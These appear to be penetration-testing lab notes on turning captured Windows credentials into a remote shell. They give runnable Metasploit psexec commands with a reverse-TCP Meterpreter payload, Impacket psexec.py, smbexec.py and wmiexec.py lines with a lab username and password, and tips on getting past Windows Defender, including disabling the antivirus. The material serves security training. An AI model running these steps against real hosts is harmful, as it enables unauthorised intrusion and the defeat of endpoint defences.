Gaining Shell Access
A captured password hash can be turned into a shell with Metasploit's psexec module.
Launch Metasploit and Find psexec
msfconsole
Search for the module:
search psexec
Pick exploit/windows/smb/psexec (shown as use10 in the search results), then configure the options with the details gathered so far:
Set the payload so the exploit runs correctly, and point LHOST at the attacker interface:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST eth0
When psexec Gets Caught by AV
This doesn't always work on the first or second attempt and often requires changing the target type from PowerShell to one of the others in the list:
Trying set TARGET 2 ends up with a virus being detected:
That is the indicator that psexec doesn't work through Metasploit here because Windows Defender flagged it. The work around is the standalone binary:
psexec.py marvel.local/fcastle:Password1@192.168.57.141
smbexec.py and wmiexec.py use the same syntax and may have a lower network detection rate if they bypass an AV.
Pro tip: start with smbexec or wmiexec before trying psexec, since they are less likely to alert AV.
- If a shell generates successfully, identify what AV is running and try to disable it.
- If the AV can be disabled through smbexec or wmiexec, a more robust framework like MSF/psexec or psexec.py becomes usable.